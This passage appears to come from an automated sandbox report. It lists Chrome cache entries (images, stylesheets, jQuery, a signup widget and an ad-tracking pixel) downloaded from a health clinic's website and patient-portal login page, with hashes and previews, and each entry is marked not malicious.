&..w.....'g.v............?..![3.O....ZZ.\|...[.....4.....T.(1cw>A\|.......z.z.f.=.M...7..]..A.r0........?.4.t...()....,..q..n.4..T...Co..nY.C....{`\|.l....i...?..d....%.D.O..-.%...2...w....v.qH.5......N.V.?.n..K.=.D..f...g%.].....:$...W.N.xX..d.p.R9...V...[.....0..x!...W+)....P.si.I..L.........q.X.;..+..\ZxB.C/.@{.0..$..$.k./..i$..U...>./.VE.a.......B.\.\s.P.....I....qe.q..?...8..U.S.b......T+<.........b...w1....\|.J....t...!....rd..n....7.......^X.+'....?,]1..B...q.)Q...3#..V.."#...o..]..r.HY.e.....W.W..nb.o'l...yk.....V.G.}8.xZ\...0.iBi.q..wk....v..*........OX..@.E\|V....../K.eO#..i4..W.X.d..d[..3..Aw.

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 923x814, components 3
Category:	downloaded
Size (bytes):	78254
Entropy (8bit):	7.9746503979155445
Encrypted:	false
SSDEEP:	1536:DBT2wLVGc1t6mDm3wX5DXjfbZzOTXA4g0hx9NXhQcV/eLzn:Do+VGczSgpTbyg0dVhtV2Lzn
MD5:	DC9FAC62F1A9EC1188AD5B1B474C98AC
SHA1:	4DD1AC7204DD50E8493E7B36C22B006FB12EA2CE
SHA-256:	64EF75BEB8444C878E00C4960B98235E5808819C2F5206764008B8A30719A0CD
SHA-512:	D17D71FDCCD77BDC226121A2F9E7296C83B3ADA300BC9CE1FA0A234D5269B2033581E4729FBAF54FEFAA0CB1FDF5B664AF51CCB110B9C4D01CBF91FC54AFA730
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/homepage-923x814.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$....................................................D........................!1..A.Q."aq.2..#B...Rb...$3..r.C...45S....................................0......................!.1.AQ..".2a.Bq.#R.3................?...].qA8A.Q..R..T....2.Z5.."QB4a.. .7..0.5H..d........".b.a.... .i...P..QD.."..!.A.D..A.D..D....J..}2.p.[.. .".. ."..""* ."!].JD.[@.........R..U...i.....@lZ....v..8.. ."...l.R,.TA..@.(..@....A.D...P...EDZ..w...Y.9tb.r.......m..l....EG.Y...y...x9.{c<.....{%.AFQ..h..y^.A..TE0.4..@P.. ".D@.R.....h.:.4`).@\|......E..".)Z.....+..T..Y.VkPxP.H.."Z..D"#H. ."......."..X.Z..6Yi.@. .".. .".. .".._.JD..;.. .=l..H..k-. ..........6....D..w.I.Z../.K.5.vl.W..y'.+.*.K.Dy.<.E.....W&...d..@.......?3/.....R......}1...u\|v...y.7...Y.yO.o.P...........e....PD..ED]"...PA.D....@E.(... ("..#>..DDTC@Q\...9...V.c+..r\[O..j^....

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (618)
Category:	downloaded
Size (bytes):	967
Entropy (8bit):	5.476408791422554
Encrypted:	false
SSDEEP:	12:XqJmW/m26qvfNV4NbxTHQuqJmrtr1WksMx4IBTxL6KrocEd4IBTx0KJjzdQ4nV/I:si2N1V4NxwZG182XEXnjzFFfjzqwY
MD5:	9CB3E8AB4DA3AA7C7D9FE900EC41A3BE
SHA1:	6CDC6A98A10BBA82C7A3DF0387D7669CD3A5903E
SHA-256:	6D38635FCA5659137ED7E82425D76E9645C229B552A25D0187DA359674E9B07B
SHA-512:	C7B04C5542CE547EC7BB47FDA1C1EC0B509E0FBE610B87DE26988B007C74EA5247DDC0C62013BDEC5EAD3B26FAFFD6E935892731E3831633A3FA06AC278AEB28
Malicious:	false
Reputation:	low
URL:	https://insight.adsrvr.org/track/up?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F%23screen-reader-shortcut-header&upid=6su09yz&upv=1.1.0
Preview:	.<html>.<head>. <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script>.</head>.<body>. <div id="universalPixelContainer">. <script type="text/javascript">. (function(global) { . var ttdcm = new TTDCM(); . ttdcm.init( ["https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent=","https://x.bidswitch.net/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch","https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=69c771e8-c390-4607-a64f-75376e6bf1de&r=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dpubmatic"] );. })(this);. </script>. </div>.</body>.</html>

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	30296
Entropy (8bit):	5.089975137087216
Encrypted:	false
SSDEEP:	768:KZtIx9Dp37EbFqPsPFaFqZWFflBeBLIp3YWBhjUIrIQQnbxUrm/FJ:Ii9DpgQcwEZWh0/r
MD5:	57F5DB20389298A72BE809846B9F055C
SHA1:	237D406F289D844BEAACB5CCF3ED81B5517C0D2D
SHA-256:	17CF3F78F7EAE7BC91477363E00AEB412DB3E58F39AC06F9CA0CF018EF70AF4F
SHA-512:	8C51E2E08A574A1838FBDE71A19F21DCA4C9907AE7AA6F1D842BD63F040EDDB82307956EF4C3B393AA89A05DD460E38D6D0F5FDF7CCD9D5E86A8FF12CF13B512
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newLogin/layout.css
Preview:	@font-face {. font-family: 'healow';. src: url('../fonts/newLogin/healow.eot?qd9atp');. src: url('../fonts/newLogin/healow.eot?qd9atp#iefix') format('embedded-opentype'),. url('../fonts/newLogin/healow.ttf?qd9atp') format('truetype'),. url('../fonts/newLogin/healow.woff?qd9atp') format('woff'),. url('../fonts/newLogin/healow.svg?qd9atp#healow') format('svg');. font-weight: normal;. font-style: normal;. font-display: block;.}..[class^="icon-"],.[class=" icon-"] {. / use !important to prevent issues with browser extensions that change fonts /. font-family: 'healow' !important;. speak: never;. font-style: normal;. font-weight: normal;. font-variant: normal;. text-transform: none;. line-height: 1;.. / Better Font Rendering =========== */. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}..icon-male:before {. content: "\e92e";.}..icon-female:before {. content: "\e92f";.}..icon-list:before {. content: "\e92d";.}..icon-warning-outline

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (550), with CRLF line terminators
Category:	downloaded
Size (bytes):	4872
Entropy (8bit):	5.3473068750195
Encrypted:	false
SSDEEP:	96:iUZ4qZD5OSbpIB+3vNl+XI1wqZcqZEZGE29AEZAtGnnoHt3HE:+GNpxf6/jd29h2UnSE
MD5:	46A57F2D07C05F7F58DF775333F12895
SHA1:	E971653F81C08BB1671FA4BC2D0F59DF0C090031
SHA-256:	617134F989799AB72F33403565434D42314C4D025D4B97740D9C40371573C4FD
SHA-512:	B45CBCDF9AF5C532B4C266D3410EA0F9C26EACA34A6F77AF0E6C5A63C38129D7064DA1CC6F612FEFA008E180B679D38CA27B06B5B2AF61F23EA8D190E678C72F
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/rendor/jquery.mask-1.7.7.min.js
Preview:	// jQuery Mask Plugin v1.7.7..// github.com/igorescobar/jQuery-Mask-Plugin..(function(f){"function"===typeof define&&define.amd?define(["jquery"],f):f(window.jQuery\|\|window.Zepto)})(function(f){var A=function(a,d,b){var h=this,m,p;a=f(a);d="function"===typeof d?d(a.val(),void 0,a,b):d;var c={getCaret:function(){try{var e,l=0,c=a.get(0),g=document.selection,d=c.selectionStart;if(g&&!~navigator.appVersion.indexOf("MSIE 10"))e=g.createRange(),e.moveStart("character",a.is("input")?-a.val().length:-a.text().length),l=e.text.length;else if(d\|\|"0"===d)l=d;return l}catch(b){}},setCaret:function(e){try{if(a.is(":focus")){var l,..c=a.get(0);c.setSelectionRange?c.setSelectionRange(e,e):c.createTextRange&&(l=c.createTextRange(),l.collapse(!0),l.moveEnd("character",e),l.moveStart("character",e),l.select())}}catch(g){}},events:function(){a.on("keydown.mask",function(){m=c.val()}).on("keyup.mask",c.behaviour).on("paste.mask drop.mask",function(){setTimeout(function(){a.keydown().keyup()},100)}).on("c

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2692
Entropy (8bit):	5.028218389665819
Encrypted:	false
SSDEEP:	48:UEsKWZoyRuzMOSqSC8JmPrN6H/k6H//HO/s:9s3oxzMW8JjF31
MD5:	F44B32951E4BB52FF57326734249BF28
SHA1:	9C08D09A2D9FA21995FC5012F35D7BDE3C77D425
SHA-256:	2767E1CB6209C2ED3691ED94D277ADEE2CDA8A45AD86900E3A0720CC45F35AF5
SHA-512:	CC67425E400EFDE9FA44236B3EA1AB89815FE4BC7CE19F731DAB74AE280039D8145CD1DC6A441CABC366121A6877BA9056D16E3E79EAEBF7F3423A0CE98AD61C
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newui/css/wcagStyles.css
Preview:	body .form-control::placeholder{color:#767676 !important;background-color: #FFFFFF !important;opacity:1 !important;}...asterixContrastRatio{. color: #EB0000 !important;. Background-color: #FFFFFF !important;.}..personal-info-dropdown-caret::before {. border-color: #878787 !important;.}...liHover:hover{. background-color: #FFFFFF; color: #0575E3;.}..ui-dialog .ui-dialog-titlebar {. color: #000 !important;. background: #87B6D9 !important;.}...greenTxtClrContrastRatio.{. color :#028A00 !important;. background-color: #FFFFFF !important;.}..goGreenToggleContrastRatio.{. color :#347AB7 !important;. background-color: #FFFFFF !important;.}.....inputTextColorBorder {. color: #878787;. background-color: #FFFFFF;.}...labLinkStyle{. color: #1B7698;. background-color: #FFFFFF;.}...immunTextCss{. color: #767676;. background-color:#FFFFFF;.}...immunTextFooterCss{. color: #FFFFFF;. background-color: #097F9F;.}...ptEdListContrastRatio {. color :#

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32280)
Category:	downloaded
Size (bytes):	995511
Entropy (8bit):	4.968287442660168
Encrypted:	false
SSDEEP:	6144:0eQXsco8pbv/CKcI7RuUdi0kO4mPwIiYauxzInmOetNWcq/Hm3SmohTFAj10pnYR:G1JUev43aVuim4GMjau6b2
MD5:	5B662534D5BD2E8909166ECC4B043F1A
SHA1:	7C87C69B54F679D1C3FEA3EA1734197082A9D4E4
SHA-256:	CC75487EA5AE5E6CAB27C457EE4BCB5A39AC8938159E46283CA447C516AA9782
SHA-512:	24ABC31D9353C1C980441270FC0E0040C2E29FF1396EAF28D147E27888F768CF386F230389642EE4468236086A53445128A0A3A64E542BA25EE880E32C4B86AB
Malicious:	false
Reputation:	low
URL:	https://static.ctctcdn.com/js/signup-form-widget/current/signup-form-widget.min.js
Preview:	!function(a,b){function c(a,b){return a.seal&&a.create&&b.isArray&&"x"==="x"[0]}function d(){return window.localStorage&&"function"==typeof window.localStorage.getItem&&"function"==typeof window.localStorage.setItem&&"function"==typeof window.localStorage.removeItem}function e(a){var b=!!document.documentMode,c=!b&&!!a.StyleMedia,d=c\|\|b&&a.atob,e=!!a.chrome&&!!a.chrome.webstore,f=!!a.location&&!!a.location.origin,g=function(a){return"[object SafariRemoteNotification]"===a.toString()},h=!a.safari\|\|a.safari.pushNotification,i="undefined"!=typeof a.navigator.standalone,j=/constructor/i.test(window.HTMLElement)\|\|g(h)\|\|i,k=e\|\|!!a.Intl&&!!a.Intl.v8BreakIterator&&!!a.CSS,l=!!a.navigator&&/SamsungBrowser/i.test(a.navigator.userAgent),m=f\|\|j\|\|e,n=a.top!==a.self&&a.location.hash.indexOf("resci")>-1;return m\|\|l\|\|k\|\|d\|\|n}function f(a,b,c){var d=a.toString().split("."),e=d[0]\|\|0,f=d[1]\|\|0;return e>b\|\|e==b&&f>=c}function g(a){if("function"!=typeof a)return!1;var b=a();return b&&b.jquery&&f(b.jquery,

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.5.0.min.js?ver=3.2.1
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3658), with no line terminators
Category:	downloaded
Size (bytes):	3658
Entropy (8bit):	5.211216306669925
Encrypted:	false
SSDEEP:	96:E1in6DS2s+CNpKM0VDCp9VzYkqCxjhonB8kLjW6:gStTr0tCpTzYkqyV68kLK6
MD5:	7C4F07C3B4066C94EC637CACC47F553C
SHA1:	8B9DC9299BE2D92BAA69AAF1607D62D69242FD1E
SHA-256:	E79711DFA23F53599FE2EBE081D9FBE932F4B7006FE03A65E0BE0F9DF6BFF1D1
SHA-512:	510199CBFF30261BE61438E4862DB6F9E0E7D42C9B087F6650470264A63C5310970B83865EDCEE60C6A4D1F02164715FE3767CA245133F47BE7552E4E67CB18F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_tab_with_content.bundle.js?ver=230904-91943
Preview:	!function(e){function t(t){for(var r,i,a=t[0],l=t[1],u=t[2],f=0,d=[];f<a.length;f++)i=a[f],o[i]&&d.push(o[i][0]),o[i]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(s&&s(t);d.length;)d.shift()();return c.push.apply(c,u\|\|[]),n()}function n(){for(var e,t=0;t<c.length;t++){for(var n=c[t],r=!0,a=1;a<n.length;a++){var l=n[a];0!==o[l]&&(r=!1)}r&&(c.splice(t--,1),e=i(i.s=n[0]))}return e}var r={},o={36:0},c=[];function i(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,i),n.l=!0,n.exports}i.m=e,i.c=r,i.d=function(e,t,n){i.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(i.r(n),Object.defineProperty(n,"defaul

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	41910
Entropy (8bit):	7.957751828181428
Encrypted:	false
SSDEEP:	768:agvHsKKjH8doG6X0HXbvLj+Q0521O23dBUm+3HRhzdd8bTbM:aqVKLUDBQib3+HRLaPbM
MD5:	379791A32D8871C4A40ADFED4FF492DC
SHA1:	7D6DAECF34D7070BAC02D7D1B02551FE42E6C909
SHA-256:	5488ADE6A30069D4A712C966D5C2977B01886D81F5C8357B5644280E194A81FB
SHA-512:	9A95FF6F6EAA92DE618CE811FC00525C4BB94BCF0AFF4A24D2791EE790E6FDCEAD66DE56CB1EDD2F5FCD68ED5CF816F663D6A37E52060250961ED6C6F5595D5F
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.n..Aa1.N7bI.g..Q........9...e.i./qea!.wYp.....$.._lT..G...u..xeR.a.>......y..]?.<1..WS..G./4..999.F...}.....9..b..Xx.N.o...3......P.u.... .'...8..f.mO..)..h.......Kc<...t...+.G..&.7..</i\|c.V&..uE..i=....\..4s.M..t.;%.?/..^...Nz..._J..F6......K..{.....q.j.....2. .. .r.....p}.Z...V...v.d.H.P. f.K0.1.<.y.q.+...]....Y&.(..rg#..H.#..]....F.....T....NH.

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 42 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.7455040862049085
Encrypted:	false
SSDEEP:	24:do/cXeTrHaRodw+UWNhsGzRSIhAugV7unmH4ifkx08v5:K/cXeqadLUWNhNzRSMXgV7unbisx08B
MD5:	EFA6BB2BFE459BC6F4BDAFA3DB0383F6
SHA1:	52D15CE52FE50643E542C17812DE43F4ED1B6EE0
SHA-256:	6318394F737C66F0E2CCFCD88E3935C6667633A1B95FA29FBA2B75431D55EEF2
SHA-512:	E23C04D8997F5C2F92070E09261B7EE50D9DF8753F45CF66F604F0874FFA8D99E947C97C528EC02A2C3FBE8E43D840B343A7D0225532980D5DA95031216415B7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR............`"....UIDATx..T...=.Mm......&[....Sl..m.m....U....;.uf..frrr...v...U)...).....2Q..`.y....U.9..;..0.^........B.......].h.^..... . L3....jQw..vB.D....<..P.4..\|.B....d..?.....Qv.....Dv..$...._.\|..@........k....`..JG...$..T.y\|T.......v.iH...yc6'...%..&.w.oI.ZS{..!6A@.Y.....a....U]..:...g-......01F........Q...k#..G\....~.+....z.>....F...}1[..~.9..r[.?..9......2~....e."1.).}[.WW.{.r...\|D..<7..t.M.`..S...8.ab..F ....n..S.:n.>1(g.p$.:k1..6...Y..@.5.8.0y.....R...;.K\. 0p...g.,r.E...............=.....!.^..Y!..D.Z.....aV.....;F.4...!.`^.L.VQ.....&...d....O.\...I).!1....{......K.f.e ....L......~.%IY(..Y.....NeA...?.^..2.C..^........P....)T.&?.zm.Sl.b..l.D...%.{.B>X{.9Y..M..:.)......EK..b.......}....\|.o..].....GH?..3F.B(.:.....AdA........Z... .L....)..@?...f.F....6......u..oQfMC.....OC.1[3..j..j.G...&..D`........@>...g....IEND.B`.

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	253994
Entropy (8bit):	7.888726298290245
Encrypted:	false
SSDEEP:	6144:X52RhWGdiLAJmeIlFtRpq/Fnm6lOcAybJEtywu:X5etdiL3HJc5bJEywu
MD5:	DDB2A604015176ED85F1466303370A68
SHA1:	D958B8A0BA157FA8A292AEB2C12E10D105295801
SHA-256:	6E7B8A2FC78EFDE29E643F73E85736C4D61CA656EECD505674E0BFB83A411546
SHA-512:	A1A0668E3A8B8A436CFF32BD779E1A9EE40A0ED8D6D9F11C4EF98299FECB09AEC4A860E135DEF89549E38D7C0D15BC060B884839F4F5413B8628157898AB63C6
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2023/11/AE-2023.png
Preview:	.PNG........IHDR...`...`......M.n....IDATx...Mm.A...@X....`.....a!...s...0...!..N....HI.{.^.\|..^]...S.............._D..........=.(..........G.E..........(............E............".........z.Q.........@."......w.~.....R'.....`..........R.?..A.......,....6.<................`S.k.O.]..R......vD......6.!.r,....S.Y......"....._.....n.4,....z.Q.....c.@...:........0..".....W.....`)..>....0..".........J.......0.."..........e..z...lM..{.._.;....}9...SJ.....X"......p.B.....q.]>.%$x..).G\$.w..;[.K......._D....@..a...>.M..o..+!.......OZLE...........k`.... .6u...........A..........{."ve*...rf.._.auf].x..}.y.....D.........:.v#/)gg...V..wu....=...@......e(..;...g..u.......KiwpL......."....>.L:ZL...>.-$He....oj6......ID....@..5sS..f..._.a..;.'.1)}.....E.....d.]3g%.}..k.;..}J...z................MM:Z.SJ...z>....-B}.._...h.................CJ.F.:.....}..w.$......`....[.t4..mT.....S..}D......&......X......6......>.oeN..h....P.... .......Hu%.......+..H@.."....

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 550x550, components 3
Category:	downloaded
Size (bytes):	50146
Entropy (8bit):	7.972402165302988
Encrypted:	false
SSDEEP:	768:6xS1VfO9eIjxoH6QHuyTQX+5iey/Xd/WRhTpMgvNNEVaaEv1h5T19+MghSVvQl07:7mgIj+H6IQuRy/deRhFKVU57FuSvD4Z+
MD5:	9C3B858FC617390CFE3DA709439C26CF
SHA1:	CFA941A22F7C69F530EA73052CEB7579F5964F8B
SHA-256:	F8D86F1CC202EBBF6CA458977F6CE7784A6BD089990CE42245F68F2EEBDCC17A
SHA-512:	363BA34B018D14E3C75F8CC142D94B25AEABA879FF321D40AD734E4A245E058877FAB7B87F654F57D72224A25F672684ACECB1386FB57FDBB6ED386316A14BC7
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/img__section-1-550x550.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......&.&...........................................G..........................!1A.."Qaq.2.#3B...$4Rr...b..C...%c...Sdst..................................5........................!1.A.Q"2a.q.#B...3R.$...b..............?....q.4(..R.F1P....F..........-d.P....@.@8...@..`....1..D.......D. .\|.j.....7...~.....&X..L.....D...I..bU.....q.f.@.'.D.+..ty&7....r..K_S..$q.2.s=.q.1...%...oq...1..TW....aq.]........A.!-..Gr.;.6...c.c...SR4........Y...Tpf_.......;;.._Bq..j....!..b...l.`.OK..a.,..d.$Yi...SV=.7...b.<..I.I.....r...1...VKMP.......L...]v0...V..8#..R.....v...M.....t...N.CK}QaC.LCH..i.........,..J.....F.2Fj{[.R.'..........%TM.........<..?j...V..3.......v..{...6B..].....d......%.{FoI.....&}.....X?...7.NA...m.H..$)....u.\|.. .e%..tq..BY.u..Y.!m..Y.l.K.G.7.T......A[.@.....kl.!@@.h..sF...R..] ...M......1.....

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1718
Entropy (8bit):	4.597214602401641
Encrypted:	false
SSDEEP:	24:v0Nw0hjm0M3ZGwgbb6qSicVI2QWTF3IZcVkTFxchwQUm8r:vKwl5wXbbsichBTmpTXbSW
MD5:	A232721A254DE00CAF73D5A16A0B78B3
SHA1:	6EB91BFB2523D64277EF4BB69AB537BA14BE0854
SHA-256:	6F173FBDE897C4B5E403C91D99BFC6D671EFEA799450CA3B11C0D1BCCE2DDFC1
SHA-512:	A6613C9B2D885D3F1DE9A7BFF2344D2D2ABD3116CC79272C1D7EE6E5F12EF2AEF2FB236EEA8822A4D18884133BFDBBBDBE7DA21196596C1F48354E220AF3AF08
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick.css
Preview:	/* Slider */..slick-slider.{. position: relative;.. display: block;.. -moz-box-sizing: border-box;. box-sizing: border-box;.. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. user-select: none;.. -webkit-touch-callout: none;. -khtml-user-select: none;. -ms-touch-action: pan-y;. touch-action: pan-y;. -webkit-tap-highlight-color: transparent;.}...slick-list.{. position: relative;.. display: block;. overflow: hidden;.. margin: 0;. padding: 0;.}..slick-list:focus.{. outline: none;.}..slick-list.dragging.{. cursor: pointer;. cursor: hand;.}...slick-slider .slick-track,..slick-slider .slick-list.{. -webkit-transform: translate3d(0, 0, 0);. -moz-transform: translate3d(0, 0, 0);. -ms-transform: translate3d(0, 0, 0);. -o-transform: translate3d(0, 0, 0);. transform: translate3d(0, 0, 0);.}...slick-track.{. position: relative;. top: 0;. lef

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7158
Entropy (8bit):	5.110699926006196
Encrypted:	false
SSDEEP:	96:CuLOk64GeOyhezcdoFpzu3IuZok822sxhEfX3bcnOWaMQjFZNUMZ+RCEdGk4uA6i:CUOkbOVqgppg0M6FZijtdhrxZgIzg
MD5:	A147588316A3C450F2C4B5C395EC665F
SHA1:	C08654D9E70CD70F40100C88613E9FE59DB9DAB1
SHA-256:	2F30E3BA593BA60F507408921208F53724E0EC3F586284C1A048D0BAC5386A8E
SHA-512:	51ED66ED1BADFB133E30F785F521FA055C91D62141EDB069B77626E5F42A2BEB4F6A76AEB685379E2771CB24361B2A0CEFF323F2AFCDD165896248E0DFE3D799
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver=20240319
Preview:	/* ..User Submitted Posts : Core JS : Version 2.0..@ https://perishablepress.com/user-submitted-posts/.*/.jQuery(document).ready(function($) {....$('.usp-callout-failure').addClass('usp-hidden').hide();..$('#user-submitted-post').on('click', function(e) {...if (usp_recaptcha_disp == 'show' && usp_recaptcha_vers == 3) {....var validate = usp_validate();....e.preventDefault();....grecaptcha.ready(function() {.....grecaptcha.execute(usp_recaptcha_key, { action: 'submit' }).then(function(token) {......$('#recaptcha_response').remove();......$('#usp-submit').prepend('<input type="hidden" name="recaptcha_response" id="recaptcha_response" value="'+ token +'">');......if (validate) $('#usp_form').unbind('submit').submit();.....});;....});...} else {....usp_validate();...}..});..function usp_validate() {...// $('#usp_form').parsley().validate();...if (true === $('#usp_form').parsley().isValid()) {....$('.usp-callout-failure').addClass('usp-hidden').hide();........// remove empty file inputs....

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2466), with no line terminators
Category:	downloaded
